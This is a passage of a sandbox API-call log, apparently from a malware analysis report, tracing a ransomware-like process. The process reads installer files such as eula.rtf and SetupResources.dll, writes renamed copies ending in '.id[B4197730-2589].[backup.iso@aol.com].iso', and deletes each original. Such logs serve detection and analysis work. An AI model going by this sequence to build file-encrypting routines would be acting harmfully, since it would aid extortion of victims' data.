lpNewFilePointer=0x0) returned 1 [0092.343] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0092.343] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c8 [0092.344] ReadFile (in: hFile=0x324, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x4758, lpOverlapped=0x0) returned 1 [0092.390] WriteFile (in: hFile=0x2c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x4760, lpOverlapped=0x0) returned 1 [0092.392] WriteFile (in: hFile=0x2c8, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0092.392] CloseHandle (hObject=0x324) returned 1 [0092.392] CloseHandle (hObject=0x2c8) returned 1 [0092.394] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 1 [0092.396] SetEvent (hEvent=0x2cc) returned 1 [0092.396] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0092.396] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=3314) returned 1 [0092.396] CloseHandle (hObject=0x2c8) returned 1 [0092.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80 [0092.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80 [0092.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0092.397] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0092.397] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0092.397] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0092.397] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0094.901] ReadFile (in: hFile=0x2c8, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0xcf2, lpOverlapped=0x0) returned 1 [0094.940] WriteFile (in: hFile=0x324, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xd00, lpOverlapped=0x0) returned 1 [0094.942] WriteFile (in: hFile=0x324, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xf2, lpOverlapped=0x0) returned 1 [0094.942] CloseHandle (hObject=0x2c8) returned 1 [0094.942] CloseHandle (hObject=0x324) returned 1 [0094.947] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 1 [0094.948] SetEvent (hEvent=0x2cc) returned 1 [0094.949] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0094.949] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=3419) returned 1 [0094.949] CloseHandle (hObject=0x324) returned 1 [0094.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80 [0094.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80 [0094.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0094.949] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0094.950] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0094.950] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0094.950] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0094.958] ReadFile (in: hFile=0x324, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0xd5b, lpOverlapped=0x0) returned 1 [0094.961] WriteFile (in: hFile=0x328, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xd60, lpOverlapped=0x0) returned 1 [0094.962] WriteFile (in: hFile=0x328, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0xf2, lpOverlapped=0x0) returned 1 [0094.963] CloseHandle (hObject=0x324) returned 1 [0094.963] CloseHandle (hObject=0x328) returned 1 [0094.965] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 1 [0094.967] SetEvent (hEvent=0x2cc) returned 1 [0094.967] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0094.967] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=82346) returned 1 [0094.968] CloseHandle (hObject=0x328) returned 1 [0094.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80 [0094.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80 [0094.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0094.968] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0094.968] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0094.968] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0094.968] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0094.969] ReadFile (in: hFile=0x328, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x141aa, lpOverlapped=0x0) returned 1 [0095.026] WriteFile (in: hFile=0x324, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x141b0, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x141b0, lpOverlapped=0x0) returned 1 [0095.031] WriteFile (in: hFile=0x324, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0095.031] CloseHandle (hObject=0x328) returned 1 [0095.031] CloseHandle (hObject=0x324) returned 1 [0095.037] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 1 [0095.042] SetEvent (hEvent=0x2cc) returned 1 [0095.042] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0095.043] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=18776) returned 1 [0095.043] CloseHandle (hObject=0x324) returned 1 [0095.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 0x80 [0095.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 0x80 [0095.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0095.043] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0095.044] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0095.044] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0095.044] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0095.044] ReadFile (in: hFile=0x324, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x4958, lpOverlapped=0x0) returned 1 [0095.060] WriteFile (in: hFile=0x328, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x4960, lpOverlapped=0x0) returned 1 [0095.062] WriteFile (in: hFile=0x328, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0095.063] CloseHandle (hObject=0x324) returned 1 [0095.063] CloseHandle (hObject=0x328) returned 1 [0095.416] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 1 [0095.659] SetEvent (hEvent=0x2cc) returned 1 [0095.659] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0095.660] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=19288) returned 1 [0095.660] CloseHandle (hObject=0x330) returned 1 [0095.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 0x80 [0095.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 0x80 [0095.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0095.661] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0095.661] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0095.661] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0095.661] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x304 [0095.667] ReadFile (in: hFile=0x330, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x4b58, lpOverlapped=0x0) returned 1 [0095.808] WriteFile (in: hFile=0x304, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x4b60, lpOverlapped=0x0) returned 1 [0095.810] WriteFile (in: hFile=0x304, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0095.810] CloseHandle (hObject=0x330) returned 1 [0095.810] CloseHandle (hObject=0x304) returned 1 [0095.820] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 1 [0095.822] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0095.822] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=17240) returned 1 [0095.822] CloseHandle (hObject=0x304) returned 1 [0095.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 0x80 [0095.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 0x80 [0095.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0095.823] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0095.823] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0095.823] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0095.823] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0095.823] ReadFile (in: hFile=0x304, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x4358, lpOverlapped=0x0) returned 1 [0095.839] WriteFile (in: hFile=0x330, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x4360, lpOverlapped=0x0) returned 1 [0095.841] WriteFile (in: hFile=0x330, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0095.841] CloseHandle (hObject=0x304) returned 1 [0095.841] CloseHandle (hObject=0x330) returned 1 [0095.846] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 1 [0095.847] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0095.851] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=77022) returned 1 [0095.852] CloseHandle (hObject=0x304) returned 1 [0095.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80 [0095.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80 [0095.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0095.852] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0095.852] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0095.852] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0095.853] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0095.853] ReadFile (in: hFile=0x304, lpBuffer=0x34e0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x311f76c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x311f76c*=0x12cde, lpOverlapped=0x0) returned 1 [0095.868] WriteFile (in: hFile=0x324, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x12ce0, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x12ce0, lpOverlapped=0x0) returned 1 [0095.871] WriteFile (in: hFile=0x324, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x311f750, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x311f750*=0x102, lpOverlapped=0x0) returned 1 [0095.871] CloseHandle (hObject=0x304) returned 1 [0095.872] CloseHandle (hObject=0x324) returned 1 [0095.877] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 1 [0095.880] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0095.880] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x311f798 | out: lpFileSize=0x311f798*=3526) returned 1 [0095.880] CloseHandle (hObject=0x324) returned 1 [0095.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80 [0095.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80 [0095.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0095.881] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0095.881] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0095.881] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311f760 | out: lpNewFilePointer=0x0) returned 1 [0095.881] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0096.313] ReadFile (in: hFile=0x324, 